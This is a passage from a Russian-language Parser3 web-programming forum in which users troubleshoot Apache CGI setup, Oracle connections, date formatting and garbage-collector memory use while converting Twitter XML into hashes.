к формированию картинки можно добавить примитивное \"дрожание\", автоматически определять количество имеющиеся символы и их варианты, не делать повторных загрузок символов и ещё кое чего.\
\
сам я органически не переношу распознавание этих картинок (я с моей дейтераномалией C могу распознать лишь половину картинок, которые я встречаю в инете), поэтому я это приделывать наверное не буду (хотя там не сложно, может и приделаю).\
\
хотя если пришлют готовое -- включу в архив.\
\
P.S. архив в примерах обновил."
"72883","Кроме того, предполагается, что вы перед началом использования сложного инструмента ознакомитесь, как минимум, с документацией и FAQ (особенно раздел по использованию форума - http://www.parser.ru/faq/forum/)."
"72886","если берётесь его протестировать, а также создать gif-ки с читаемыми символами, участвующими в генерации картинки -- могу прислать."
"72887","http://hh.ru/vacancy/2931908"
"72890","Там \"Pareser 3\" не написано, но, поверьте, оно там есть. :)"
"72892","оказывается, что:\
[code]\
select * from table where part in (select name from table2 where if='then')\
[/code]\
работает в десятки раз медленнее чем\
[code]\
select * from table where part in ($t[^table::sql{select name from table2 where if='then'}]^t.menu{'$t.name'}[,])\
[/code]"
"72896","У меня нет связанных ключей, не пойму причем тут join...\
у меня ж тупо where part in ('abc','wew','gdf')..."
"72897","сейчас вы его делаете подзапросом, но оно может быть запросто преобразовано в join (более того, mysql если может, сам делает такие преобразования перед выполнением запроса).\
\
а если там нет индексов и вы их добавите -- будет вообще здорово."
"72898","под джойном подразумевается что-то типа такого...\
select table.* from table join table2 on table.part = table2.name where table2.if='then'"
"72899","скажу больше, вакансии для парсериста встречаются не только в России ;)"
"72900","Не работает так..."
"72904","Что ни говорите, а по-моему, у Парсера лучший синтаксис, какой только есть в языках программирования/скриптования. :)"
"72905","искал, читал по этому поводу статьи, обзоры. Но не как не могу определиться и остановиться, все дальше читаю.\
Кто что использует?\
PS. И есть ли у кого-то уже рабочая связка WYSIWYG редактора с аплоадингом фоток под парсер?"
"72906","Доброго времени суток!\
Сломал бубен во время установки Parser3,  на ноутбуке стоит 32-битная  Ubunta 9.10…\
Необходимо настроить локальный хостинг для тестирования скриптов…\
Установил «ЛАМП» , Apach, PHP, MySQL  функционируют нормально,  но  Parser3 работать отказывается,  кто поможет ссылкой, где подробно описана установка Parser3 в моём случае или что должно прописываться в конфигурационных файлах и в какие каталоги положить бинарные файлы?"
"72907","в доке рассмотрен вопрос по установке парсера из исходных кодов, вам должно хватить этого."
"72911","я пока последнюю версию старого юзаю отсюда\
http://ckeditor.com/download\
\
а вообще новый кто пробовал?"
"72912","Попробую собрать из исходных кодов"
"72913","у меня на 10,04 этот работает...\
что-то вы наверное не правильно делаете..."
"72914","сейчас последняя версия стоит... грузится быстрее и работает как-то вроде лучше.\
Есть одно но - нет встроенного файл-менеджера. Но можно использовать \"trial\"-версию http://ckfinder.com/ :)"
"72916","9.10, 10.04. Парсер нормально работает, правда под x64.\
В апаче cgi модуль ключен ([code]sudo a2enmod cgi[/code])? Что в лог error.log пишет?"
"72917","Не могу подключиться к СУБД Oracle:\
\
Написал следующее:\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libmysqlclient.so\
\
oracle  $sqldriversdir/libparser3oracle.so      /opt/oracle/product/10.2.0/client_1/lib/libclntsh.so?ORACLE_HOME=/opt/oracle/product/10.2.0/client_1&ORA_NLS33=/opt/oracle/product/10.2.0/client_1/ocommon/nls/admin/data\
}]\
]\
\
$SQL.connect_string[oracle://ххх]\
\
^connect[$SQL.connect_string]{$orac[^table::oracle{select * from table}]}\
\
Выдается ошибка:\
oracle://ххх\
undefined protocol 'oracle' \
\
Может кто подскажет?"
"72918","возможные варианты:\
- этот auto.p у вас не обрабатывается\
- после \"oracle\" вы не написали символ табуляции"
"72919","Да, спасибо, вроде разобрался!\
\
Теперь пишет: driver failed to initialize client library '/opt/oracle/product/10.2.0/client_1/lib/libclntsh.so', /opt/oracle/product/10.2.0/client_1/lib/libclntsh.so: cannot open shared object file: Permission denied\
\
Но права на файл я дал все."
"72920","Что будет, если от пользователя, от которого работает парсер сказать:\
ls -la /opt/oracle/product/10.2.0/client_1/lib/libclntsh.so"
"72921","вот что написало:\
/opt/oracle/product/10.2.0/client_1/lib$ ls -la /opt/oracle/product/10.2.0/client_1/lib/libclntsh.so\
lrwxrwxrwx  1 oracle oinstall 57 Jun  5 14:35 /opt/oracle/product/10.2.0/client_1/lib/libclntsh.so -> /opt/oracle/product/10.2.0/client_1/lib/libclntsh.so.10.1"
"72922","злобные права\
сделайте хотя бы\
r--r--r--"
"72923","ну это потом, когда заработает. \
А что же мне сейчас делать, почему не работает?"
"72924","Надо смотреть дальше, что выводит \
ls -la /opt/oracle/product/10.2.0/client_1/lib/libclntsh.so.10.1\
\
И вы точно запускаете ls от пользователя, от которого запускается парсер? Кстати от какого пользователя он запускается? Настроен ли в apache suexec?"
"72925","Здравствуйте.\
\
Рекомендую добавить в исходники файла date.C одну функцию типа этой:\
\
[code]\
static void _strftime(Request& r, MethodParams& p) {\
	VDate& vdate=GET_SELF(r, VDate);\
	const char * format = p.as_string(0, \"Требуемый формат даты\").cstr();\
	char buf[1000];\
	size_t size = strftime(buf, sizeof(buf), format, &vdate.get_localtime());\
\
	r.write_assign_lang(String(pa_strdup(buf, size)));\
}\
\
...\
\
// constructor\
\
MDate::MDate(): Methoded(\"date\") {\
\
...\
	// ^date.format[%YYYY-%MM-%DD]\
	add_native_method(\"format\", Method::CT_DYNAMIC, _strftime, 1, 1);\
\
...\
\
}\
\
[/code]\
\
И тогда многим людям будет счастье!\
\
Описание формата смотрите в разделе Remarks:\
ms-help://MS.VSCC.v80/MS.MSDN.v80/MS.VisualStudio.v80.en/dv_vccrt/html/6330ff20-4729-4c4a-82af-932915d893ea.htm"
"72926","а как можно узнать от кого запускается?"
"72927","Как указать путь к файлу лежащему в папке на несколько уровней выше?\
(типа ^use[/родительская_папка/родительская_папка/файл])"
"72929","Спасибо! \
а как указать корневой каталог?\
(типа ^use[/корень/папка1/папка2/файл])\
Пробовал дойти до корня так ^use[/../../../файл], но файл не находиться :("
"72930","Тред закрыт. :("
"72932","посмотреть конфиги\
ну а самый простой создать файлик парсером и посмотреть на его права."
"72933","Полностью согласен с тобой что лучший синтаксис :)  [url=http://allsoft-best.ru/]  [/url]"
"72934","Сейчас поедет крыша, спасайте. Самый обычный хостинг, каких были десятки.\
\
Файл /cgi-bin/parser3.cgi виден через фтп и через файл-менеджер панели хостинга. Но на прямой запрос www.*****.ru/cgi-bin/parser3.cgi ругаетя, что такого файла нет.\
\
.htaccess тоже самый обычный\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg|sql)$\">\
  Order allow,deny\
  Deny from all\
</Files>"
"72935","/cgi-bin/ в общем случае это НЕ директория (например у нас на серверах разработки нет _каталога_ cgi-bin, хотя при обращении к хост/cgi-bin/parser3.cgi показывается версия парсера)."
"72936","Если с правами на parser3.cgi и на папку /cgi-bin/ все в порядке - 755, и ^eval(2+2) в index.html не выводит 4 то лучше задать вопрос в суппорт хостинга."
"72937","Настроил Oracle, делаю пустой запрос\
^connect[$SQL.connect_string]{}\
\
Выводиться ошибка:\
Error while trying to retrieve text for error ORA-12154\
 (ServerAttach, -1)\
\
Не могу понять причин, помогите!"
"72939","У кого-нибудь получилось \"состыковать\" парсер и Оракл10 ?"
"72941","http://www.parser.ru/docs/lang/\
http://www.sql.ru/Forum/actualthread.aspx?bid=3&tid=339329&hl="
"72942","В одном из скриптов, запускаемых по cron стало появляеться сообщение об ошибке:\
\
Too many heap sections: Increase MAXHINCR or MAX_HEAP_SECTS\
\
С чем может быть связанно, кто-нибудь сталкивался?"
"72944","Вот у меня бывают задачки иногда достаточно ресурсоемкие, памяти на сервере 32Gb, мне не жалко отдать парсеру допустим 16 гиг, но он всегда упирается где то в районе 500 метров и на этом \"вешается\", остается только прибивать процесс. Этим потолоком как то можно упралять?\
\
compact - это хорошо, но не шустро\
\
P.S. MS Server 2003"
"72945","... есть некоторые предельные значения на размеры кучи, стека и пр. вещи для каждого процесса. Что касается максимальных объемов, то про Windows  ничего сказать не могу, а на FreeBSD (32-бит) моим скриптам удавалось \"отжирать\" по паре гигабайт оперативки (как я понимаю это некий предел для 32-разрядных процессов). Но это скорее для тестов, а на практике сразу включал compact (естественно не на каждой итерации, а в зависимости от \"прирощения\" объема памяти после последней сборки) и и весь процесс прекрасно умещался в 50-60 МегаБайт. Кроме того, сборщик мусора (Bohem GC) все-таки имеет определенные сложности при работе с большими объемами фрагментированной памяти, так что надо очень аккуратно работать в таких ситуациях.\
\
p.s. Для использования большого объема памяти надо собрать 64-битную версию Парсера - в разделе \"скачать\" для винды лежит 32-битная. :)"
"72946","Добрый вечер/день!\
Установил, по запросу в .../cgi-bin/parser3 - работает. Но заставить обрабатывать хтмлки не могу - это вообще реально?\
[code]<VirtualHost 127.0.0.1:80>\
	ServerAdmin fbsd61@gmail.com\
\
	DocumentRoot /var/www\
	<Directory />\
		Options FollowSymLinks\
		AllowOverride All\
	</Directory>\
	<Directory /var/www/>\
		Options Indexes FollowSymLinks MultiViews\
		AllowOverride All\
		Order allow,deny\
		allow from all\
	</Directory>\
\
	ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/\
	<Directory \"/usr/lib/cgi-bin\">\
		AllowOverride All\
		Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch\
		Order allow,deny\
		Allow from all\
	</Directory>\
\
	ErrorLog ${APACHE_LOG_DIR}/error.log\
\
	# Possible values include: debug, info, notice, warn, error, crit,\
	# alert, emerg.\
	LogLevel warn\
\
	CustomLog ${APACHE_LOG_DIR}/access.log combined\
\
    Alias /doc/ \"/usr/share/doc/\"\
    <Directory \"/usr/share/doc/\">\
        Options Indexes MultiViews FollowSymLinks\
        AllowOverride None\
        Order deny,allow\
        Deny from all\
        Allow from 127.0.0.0/255.0.0.0 ::1/128\
    </Directory>\
\
</VirtualHost>\
\
[/code][code]\
# назначение обработчиком .html страниц:\
AddHandler parser3-handler html\
\
Action parsed-html /cgi-bin/parser3\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
\
[quote][Sun Jun 13 22:31:47 2010] [alert] [client 127.0.0.1] /var/www/.htaccess: Invalid command 'Action', perhaps misspelled or defined by a module not included in the server configuration\
[/quote]\
\
[quote]debian:/var/log/apache2# ls /etc/apache2/mods-available/\
actions.conf      authn_default.load    cache.load         deflate.conf     filter.load        mem_cache.load    proxy_balancer.conf  rewrite.load     userdir.conf\
actions.load      authn_file.load       cern_meta.load     deflate.load     headers.load       mime.conf         proxy_balancer.load  setenvif.conf    userdir.load\
alias.conf        authnz_ldap.load      cgid.conf          dir.conf         ident.load         mime.load         proxy.conf           setenvif.load    usertrack.load\
alias.load        authz_dbm.load        cgid.load          dir.load         imagemap.load      mime_magic.conf   proxy_connect.load   speling.load     version.load\
asis.load         authz_default.load    cgi.load           disk_cache.conf  include.load       mime_magic.load   proxy_ftp.conf       ssl.conf         vhost_alias.load\
auth_basic.load   authz_groupfile.load  charset_lite.load  disk_cache.load  info.conf          mod_chroot.load   proxy_ftp.load       ssl.load         vhost_hash_alias.load\
auth_digest.load  authz_host.load       dav_fs.conf        dump_io.load     info.load          negotiation.conf  proxy_http.load      status.conf\
authn_alias.load  authz_owner.load      dav_fs.load        env.load         ldap.conf          negotiation.load  proxy.load           status.load\
authn_anon.load   authz_user.load       dav.load           expires.load     ldap.load          php5.conf         proxy_scgi.load      substitute.load\
authn_dbd.load    autoindex.conf        dav_lock.load      ext_filter.load  log_forensic.load  php5.load         reqtimeout.conf      suexec.load\
authn_dbm.load    autoindex.load        dbd.load           file_cache.load  mem_cache.conf     proxy_ajp.load    reqtimeout.load      unique_id.load\
debian:/var/log/apache2#[/quote]\
Прошу простить за умственную тугость и ткнуть носом"
"72947","А команда\
[code]ls /etc/apache2/mods-enabled/ | grep actions[/code]\
случайно не выдает такое?\
[code]actions.conf\
actions.load[/code]\
\
Если нет, то попробуй\
[code]a2enmod actions[/code]"
"72948","ну я же не пишу не проверив сначала :)"
"72949","Украина, Беларусь\
вполне возможно, что и в других СНГ-шных странах тоже есть"
"72950","Причем автору класса пришлось изрядно попотеть! Общая производительность такой системы будет падать в геометрической прогрессии с каждой такой заплаткой. Предлагаю вовремя опомниться. Не спорю, класс хороший, а куда веб-мастерам деваться?"
"72951","мы живём в многоплатформенном мире. \
на разных платформах strftime имеет разные форматные строки (и разные баги).\
\
заниматься проверками входных форматных строк в данных условиях дело очень неблагодарное.\
крме того, по сравнению с предлагаемым классом у strftime сразу вылазит ограничение по работе с locale (которой у парсера нет, т.е. получать можно будет только June, но не \"Июнь\")\
\
т.е. вашу реализацию я считаю \"заплаткой халтуры программистов\": типа \"мы функцию реализовали, а дальше вы со всем этим трахайтесь и сами изучайте как всё это работает на разных платформах\".\
\
P.S. падение в геометрической прогрессии? на каких задачах? вы уже сделали тест (с учётом реализации вышеупомянутых проверок форматных строк) и можете это падение подтвердить?"
"72952","Форматирование даты/времени действительно не хватает и частичная зависимость от платформы и \"проблемы с локалью\" вполне компенсируются тем, что для 99% случаев они никак не скажутся на конечном результате. Поэтому я голосую за включение этого метода в \"стандартную библиотеку\"."
"72953","случаи разные бывают.\
\
я, например, сейчас вообще не использую dtf.p на frontend, т.к. всё форматирование дат мы делаем xsl-ем, которому отдаём отдельные кусочки дат.\
\
единственное, где мне это пригодилось-бы -- в разного рода тестах или простейших скриптах, где надо вывести дату в формате 'dd.mm.yyyy', а копировать и подключать для этого dtf.p просто лень.\
\
P.S. ты ведь знаешь, где за это надо голосовать, не так-ли? :)"
"72954","активировал мод, но конфиг то пустой. Предположительно вписал: Action handler-parser3 /usr/bin/parser3\
Но как указать ему какие файлы парсить?"
"72955","cat actions.conf\
Action parser3-handler /cgi-bin/parser3\
дает ответ\
Not Found\
The requested URL /cgi-bin/parser3/_test.html was not found on this server."
"72957","Парсер будет работать на libxslt вечно? :)"
"72958","Конструкция \
[code]$f[^file::exec[/../cgi-bin/parser3.exe]][/code]\
приводит к рекурсивному вызову и обработки того html из которого он вызывается. Откуда вызываемый парсер про этот файл знает. из переменной окружения? А поменять ее можно?\
\
Передавать параметры пробовал, в $.stdin тоже, вызывать батник в котором вызывается парсер, предварительно  сделав cd в документ-рут  тоже пробовал, результат нулевой, рекурсия. Есть рецепт? ;)\
\
P.S. Пока я так понимаю вариант один - делать file::load и туда передавать параметры, но это как то некошерно ;)"
"72960","Я юзаю Tinymce и никаких проблем. Причем для него есть и файл менеджер - взять его можно с форума разработчика"
"72963","В промежуточном shell (.bat) скрипте. Вот эти (из parser3.C):\
\
// were we started as CGI?\
cgi=\
	getenv(\"SERVER_SOFTWARE\") || \
	getenv(\"SERVER_NAME\") || \
	getenv(\"GATEWAY_INTERFACE\") || \
	getenv(\"REQUEST_METHOD\");\
\
И кстати расскажите задачу - сами мы не смогли придумать, зачем нужно из парсера вызывать парсер - это ресурсоемко (запуск лишнего процесса). Почему нельзя вызвать напрямую парсерный код?"
"72966","Столкнулся с проблемой возростающего потребления памяти и невозможности освободить ее. По сути:\
\
Есть некий скрипт, который производит большое кол-во операций. В частности загружает с другого сервера XML файл, парсит и заносит в базу. И все это происходит в цикле.\
\
Код примерно имеет следующую логику:\
[code]\
@main[]\
^for[i](0;100){\
	^import[]\
}\
\
@import[][messages]\
^for[j](0;16){\
	$messages[^ImportClassObject.import_by_part[$j]]\
	$messages[]\
	^Rusage:compact[]\
}\
$result[]\
[/code]\
\
Класс ImportClass загружает данные с другого сайта, импортирует и возвращает импортированные данные. В переменные ничего не сохраняет, @OPTIONS = locals.\
\
[b]Проблема: Если замерять кол-во потребленной памяти до и после в @main, то оно не освобождается, а только растет.[/b]\
\
Попытался подготовить данные по маленькому циклу для демонстрации проблемы:\
[code]\
[BEFORE 1] {\"used\" => \"4524\", \"free\" => \"252\", \"ever_allocated_since_compact\" => \"2225.3\", \"ever_allocated_since_start\" => \"8130.47\"}\
	[BEFORE load] {\"used\" => \"4536\", \"free\" => \"240\", \"ever_allocated_since_compact\" => \"2260.33\", \"ever_allocated_since_start\" => \"8165.5\"}\
	[AFTER load] {\"used\" => \"14648\", \"free\" => \"3620\", \"ever_allocated_since_compact\" => \"57827.6\", \"ever_allocated_since_start\" => \"306299\"}\
	[AFTER import] {\"used\" => \"24584\", \"free\" => \"7900\", \"ever_allocated_since_compact\" => \"14020.2\", \"ever_allocated_since_start\" => \"658280\"}\
[BEFORE 2] {\"used\" => \"24608\", \"free\" => \"7876\", \"ever_allocated_since_compact\" => \"14933.9\", \"ever_allocated_since_start\" => \"659194\"}\
	[BEFORE load] {\"used\" => \"24608\", \"free\" => \"7876\", \"ever_allocated_since_compact\" => \"14967.8\", \"ever_allocated_since_start\" => \"659228\"}\
	[AFTER load] {\"used\" => \"31188\", \"free\" => \"1296\", \"ever_allocated_since_compact\" => \"28604.2\", \"ever_allocated_since_start\" => \"957702\"}\
	[AFTER import] {\"used\" => \"34736\", \"free\" => \"5940\", \"ever_allocated_since_compact\" => \"10538.1\", \"ever_allocated_since_start\" => \"1.31113e+06\"}\
[BEFORE 3] {\"used\" => \"34760\", \"free\" => \"5916\", \"ever_allocated_since_compact\" => \"11452.9\", \"ever_allocated_since_start\" => \"1.31204e+06\"}\
	[BEFORE load] {\"used\" => \"34760\", \"free\" => \"5916\", \"ever_allocated_since_compact\" => \"11486.9\", \"ever_allocated_since_start\" => \"1.31207e+06\"}\
	[AFTER load] {\"used\" => \"41064\", \"free\" => \"7804\", \"ever_allocated_since_compact\" => \"154914\", \"ever_allocated_since_start\" => \"1.60606e+06\"}\
	[AFTER import] {\"used\" => \"44200\", \"free\" => \"4668\", \"ever_allocated_since_compact\" => \"28073\", \"ever_allocated_since_start\" => \"1.96236e+06\"}\
[/code]\
\
Правильно ли я понимаю, что \"по идеи\" на начало следующего цикла used памяти на начало каждого цикла в @main должно быть примерно около начального значения? ([BEFORE 1] \"used\" => \"4524\")\
\
И скорее всего мне нужно покопать в сторону утечки памяти в классе ImportClass? Возможно есть какой-то известный баг, или особенность, которую не учитываю, т.к. свои классы я прочесал уже несколько раз."
"72967","1. версия парсера?\
2. что происходит с памятью при убирании ^compact? ([отя чего я спрашиваю? судя по приведённому логу собирается, причем много)\
\
я боюсь, что без разборок в коде порекомендовать что-либо нереально."
"72968","Версия парсера - 3.4.0\
\
У меня есть большое подозрение, что память перестает собираться если что-то загружается $file[^file::load[http://...]]  но я не проверял еще. Не замечали совпадений?\
\
С кодом проблема, его там очень много, там с десяток классов на импорт завязанно. Пока попробую еще покопать..."
"72969","попробуйте в отдельных тестах проверить освобождение памяти после:\
- file::load\
- xdoc::create\
- sql/insert\
\
если обнаружите утечки -- скорее всего будет поправлено в следующей версии."
"72971","Если посмотреть на числа:\
\
[AFTER load]\
\"used\" => \"14648\"\
\"ever_allocated_since_compact\" => \"57827.6\" - note: странно, что это число может быть насколько больше used\
\"ever_allocated_since_start\" => \"306299\" - а это, между прочим, 300Mb.\
\
[AFTER import] \
\"used\" => \"24584\"\
\"ever_allocated_since_compact\" => \"14020.2\"\
\"ever_allocated_since_start\" => \"658280\" - а это 650Mb.\
\
На фоне 650Mb за одну итерацию загрузки потеря 10Mb (дельта между итерациями), то есть меньше 2% от аллоцированной памяти выглядит естественной \"усушкой/утряской\" - байты в памяти бывают похожи на адреса, поэтому GC может освобождать не все.\
\
Другое дело, что 650Mb за цикл - это как-то много. Какой объем данных (в килобайтах/мегабайтах) обрабатывается за итерацию?\
\
P.S. Еще один возможный источник утечек - какие-нибудь глобальные переменные в используемых классах (особенно хеши)."
"72972","процесс при большом кол-ве итераций в main вырастает до 1,4 Гб и более.\
\
Загружаемый файл - около 2-4 КБ. порядка 200 записей.\
\
Процесс преобразования примерно такой\
text -> xml -> hash of hash -> hash of objects (в объектах хранится хеш) -> save to db (и множество операций по преобразованию)\
\
Глобальные переменные есть, но их не так много. Везде пытаемся работать с хешами, даже в классах храним данные в хешах. С этим есть определенная сложность?"
"72973","кажется не на то обратили внимание:\
Костя подсказывает, что между before load и after load съелось ~300 МБ. как такое может быть, если там всего-то загрузился 4-КБ файл? (или 200 файлов? да не суть, всё равно получается 800 КБ, а не 300 МБ)"
"72974","BEFORE load - на начало цикла\
BEFORE _request API - до вызова загрузки с сайта\
AFTER _request API - после загрузки\
\
итого на загрузку ушло 11200 - 4508 = 6684 (под загрузкой здесь подразумевается: подготовка запроса (он хитрый), получение данных с сервера + преобразование в xml) Получение происходит из тветера (http://api.twitter.com/1/statuses/user_timeline.xml?count=200)[b] Много уходит на преобразование в xml такого маленького документа?[/b]\
\
AFTER xml2hash - преоразование xml документа в хеш. Здесь и возрастает ever_allocated_since_start до бешенных размеров (функцию привожу ниже). Не вижу в ней откуда такой рост расхода памяти :(\
\
AFTER import - из xml генерируются объекты и сохраняются в БД. Здесь тоже большой расход. Но я тоже не понимаю отчего такое. Может ли быть проблема в 64 битной версии парсера? Или в работе с хешами, т.к. по факту каждый объект, который создается - хранит только хеш данных и имеет с десяток методов (глубина наследования - 3 класса: Message -> ActiveMode -> Model).\
\
[code][BEFORE load] {\"used\" => \"4508\", \"free\" => \"268\", \"ever_allocated_since_compact\" => \"2200.77\", \"ever_allocated_since_start\" => \"8103.62\"}\
		[BEFORE _request API] {\"used\" => \"4516\", \"free\" => \"260\", \"ever_allocated_since_compact\" => \"2233.22\", \"ever_allocated_since_start\" => \"8136.08\"}\
		[AFTER _request API] {\"used\" => \"11200\", \"free\" => \"2508\", \"ever_allocated_since_compact\" => \"9954.66\", \"ever_allocated_since_start\" => \"15857.5\"}\
		[AFTER xml2hash] {\"used\" => \"14024\", \"free\" => \"4264\", \"ever_allocated_since_compact\" => \"57555.8\", \"ever_allocated_since_start\" => \"304741\"}\
[AFTER load] {\"used\" => \"14512\", \"free\" => \"3776\", \"ever_allocated_since_compact\" => \"59245.5\", \"ever_allocated_since_start\" => \"306431\"}\
	[AFTER import] {\"used\" => \"25168\", \"free\" => \"7352\", \"ever_allocated_since_compact\" => \"20328.9\", \"ever_allocated_since_start\" => \"669705\"}\
[BEFORE load] {\"used\" => \"25392\", \"free\" => \"7128\", \"ever_allocated_since_compact\" => \"21218.2\", \"ever_allocated_since_start\" => \"670594\"}\
		[BEFORE _request API] {\"used\" => \"25396\", \"free\" => \"7124\", \"ever_allocated_since_compact\" => \"21250.5\", \"ever_allocated_since_start\" => \"670626\"}\
		[AFTER _request API] {\"used\" => \"32552\", \"free\" => \"8160\", \"ever_allocated_since_compact\" => \"29154\", \"ever_allocated_since_start\" => \"678530\"}\
		[AFTER xml2hash] {\"used\" => \"31844\", \"free\" => \"8868\", \"ever_allocated_since_compact\" => \"16770.5\", \"ever_allocated_since_start\" => \"967607\"}\
[AFTER load] {\"used\" => \"31928\", \"free\" => \"8784\", \"ever_allocated_since_compact\" => \"18459.7\", \"ever_allocated_since_start\" => \"969296\"}[/code]\
\
\
\
Код функции преобразования xml -> hash\
\
[code]\
##############################################################################\
@_xml2hash[xNode]\
	^switch($xNode.nodeType){\
		^case(1){\
			$result[^hash::create[]]\
			\
			$list[^xNode.select[*]]\
			\
			^switch(true){\
				^case($xNode.nodeName eq \"ids\"){\
					^for[i](0;$list-1){\
						$node[$list.$i]\
\
						$result.[$i][^_xml2hash[$node]]\
					}\
				}\
				\
				^case(^xNode.getAttribute[type] eq \"array\"){\
					^for[i](0;$list-1){\
						$node[$list.$i]\
\
						$result.[$i][^_xml2hash[$node]]\
					}\
				}\
				\
				^case[DEFAULT]{\
					^for[i](0;$list-1){\
						$node[$list.$i]\
\
						$result.[$node.nodeName][^_xml2hash[$node]]\
					}\
				}\
			}\
			\
			^if(!$list){\
				$result[^xNode.selectString[string(.)]]\
			}\
		}\
\
		^case(3){\
			$result[$xNode.nodeValue]\
		}\
\
		^case(9){\
			$result[^_xml2hash[$xNode.documentElement]]\
		}\
\
		^case[DEFAULT]{\
			^throw[...;...]\
		}\
	}\
	\
	^Rusage:compact[]\
#end @_xml2hash[]\
[/code]\
\
Никто не тестировал расход памяти на создание хеша, расход памяти на копирование хеша, расход памяти на создание класса с хешем?"
"72976","А можешь вложить xml-ответ с сайта твиттера? Ровно такого \"маленького документа\". Требуется регистрация в api, а это лень.\
Поиграюсь ради интереса.\
\
Думаю, стоит смотреть в сторону xslt-преобразования для разбора xml. Разбор дом-методами в парсере -- действительно ресурсоёмко."
"72977","Итоги маленького теста.\
\
xml от твиттера весит ~ 64 кб.\
\
Данные по расходу памяти (вывожу только $status:memory.ever_allocated_since_compact):\
[code][b]1.[/b] парсер пришёл в начало @main[] -- [b]mu: 164.992[/b]\
[b]2.[/b] загрузил xml с диска в память (как объект) -- [b]mu: 836.508[/b]\
[b]3.[/b] для каждого узла /statuses/status (28 итераций) выполнил @_xml2hash -- [b]mu: 6730.11[/b][/code]\
\
^memory:compact[] в тесте не использовался ни разу."
"72979","Нужно с большим кол-вом сообщений пользователя взять, чтобы 200 за раз грузилось. Тогда и рост больший будет. А с чего он там такой..."
"72981","Да, вот по этому урлу http://api.twitter.com/1/statuses/user_timeline.xml?count=200&user_id=12 получилось:\
[code]196 итераций и [b]mu: 194306[/b] (сильно!)[/code]"
"72982","Либо по табличкам, либо как некий ход конём -- сформировать в xslt структуру хеша (парсерный код), а потом его process."
"72983","Если я получаю список, как определить, что тут папка, а что файл?\
Первое что приходит на ум - проверить на расширения. Но ведь и файлы могут быть без расширений и папки могут быть с расширениями."
"72984","Так сложилось что хотелось по-быстрому (без классов авторизаций и прочего) разрулить парсером доступ на различные части веб-интерфейса. Хотелось использовать встроенный механизм собирать иерархию auto.p и по аналогии с .htaccess хотел заюзать это. Такая примерно структура файлов:\
[code]\
/auto.p\
/index.html\
\
/web_admin/auto.p\
/web_admin/index.html\
\
/web_user/auto.p\
/web_user/index.html	\
[/code]\
\
Есть и БД, и форма логина в морде сайта и прочее, при авторизации\
устанавливаются свои глобальные переменные\
$GL_login, $GL_group, $GL_name ... \
\
При успешном входе, пользователя редиректит в его кабинет в зависимости от его $GL_group, то есть если это admin, то в /web_admin/ как бы все ок, \
при выходе редиректит на главную. Если принудительно зайти в папку\
то исполнения кода все равно будет в контексте пользователя и ничего не исполнит, но чтобы не было никаких некрасивых сообщений\
я хотел, чтобы пользователь который зашел не в свой кабинет \"беззвучно\" редиректился на главную по инструкции в auto.p, но понял, что код все равно исполняется... дальше доконца.\
\
не вдаваясь в динамические подробности по сути код таков:\
[code]\
# /web_admin/auto.p\
#\
^if($GL_group ne 'admin'){\
			    $response:location[/]\
			  }\
#\
[/code]\
\
то есть если зашедший в раздел /web_admin/ не имеет $GL_group='admin' то его тело ответа должно было бы переопределиться на редирект 304 или какой то там...\
однако код дальше исполняется в index.html этой же папки\
цепляя весь фарш кода для кабинета админа, но находясь\
в контексте другого GL_group конечно имеет 0 записей\
из БД и ругается уже другими модулями. А мне хотелось бы\
как то заюзать auto.p чтобы завернуть код накорню в другую степь\
и средиректить его. \
\
P.S.: Я понимаю что могу это разруливать в index.html, но проблема в том, что *.html не одна а десяток, и дописывать какую-то обертку к каждому *.html внутри как то не кошерно."
"72985","Первым в голове всегда должна быть документация:-)\
это http://www.parser.ru/docs/lang/?exprops.htm\
и конкретно это http://www.parser.ru/docs/lang/?opsfd.htm"
"72986","Весь код с авторизацией оборачиваете во что-то подобное:\
[code]^try{\
	[i]весь код с авторизацией (классы/методы) и т.д.[/i]\
	^if($GL_group ne 'admin'){\
		[i](типов ошибок может быть сколько угодко...)[/i]\
		^throw[access denied;/]\
	}\
}{\
	[i](... обработчиков тоже)[/i]\
	^if($exception.type eq 'access denied'){\
		$response:location[$exception.source]\
		[code]и всё что ещё захотите[/code]\
	}\
}[/code]"
"72988","я сам никогда не использую xpath в сложных ситуциях. обойти всё DOM  методами (firstChild, nextSibling) будет существенно менее ресурсоёмко.\
\
как выяснилось, [URL=http://www.parser.ru/forum/?id=72989]предчувствие меня не обмануло[/URL] :)\
\
P.S. в [URL=http://xmlsoft.org/news.html]changelog libxml[/URL] вижу: Fix memory leak in xmlXPathEvalExpression(). можете попробовать собрать парсер с этой последней версией либы.\
P.P.S. я попробовал с последней libxml -- расход памяти без кардинальных изменений."
"72989","если использовать [URL=http://www.parser.ru/forum/?id=72974]оригинальный метод[/URL] (убрал вызов compact и определил локальные переменые), то результаты такие (Time, BL и KB -- это то, что возвращаем Erusage):\
Time: 1031.25 ms\
BL: 12668\
KB: 13152\
ever_allocated_since_compact: 161322\
\
то-же, но с явным определением result:\
Time: 968.75 ms\
BL: 9560\
KB: 10128\
ever_allocated_since_compact: 158294\
\
если переписать метод на использование DOM (см. ниже. я использовал Node:foreachChild, который делает кучей ненужной для данного случая работы), то результаты такие:\
Time: 515.625 ms\
BL: 7824\
KB: 8436\
ever_allocated_since_compact: 22595.8\
\
почувствуйте, как говорится, разницу. особенно в ever_allocated_since_compact...\
\
[code]\
@USE\
Erusage.p\
Node.p\
\
\
@main[]\
$x[^xdoc::load[x.xml]]\
^memory:compact[]\
^Erusage:measure{\
	$h[^_xml2hash[$x]]\
}[v]\
#^dstop[$h]\
\
Time: $v.time ms<br />\
BL: $v.memory_block<br />\
KB: $v.memory_kb<br />\
ever_allocated_since_compact: $status:memory.ever_allocated_since_compact<br />\
\
@_xml2hash2[xNode][i;result;node]\
	^switch($xNode.nodeType){\
		^case(1){\
			$result[^hash::create[]]\
			$i(0)\
			^if($xNode.nodeName eq \"ids\" || ^xNode.getAttribute[type] eq \"array\"){\
				^Node:foreachChild[$xNode;;node;]{\
					$result.[$i][^_xml2hash2[$node]]\
					$i($i+1)\
				}\
			}{\
				^Node:foreachChild[$xNode;;node;]{\
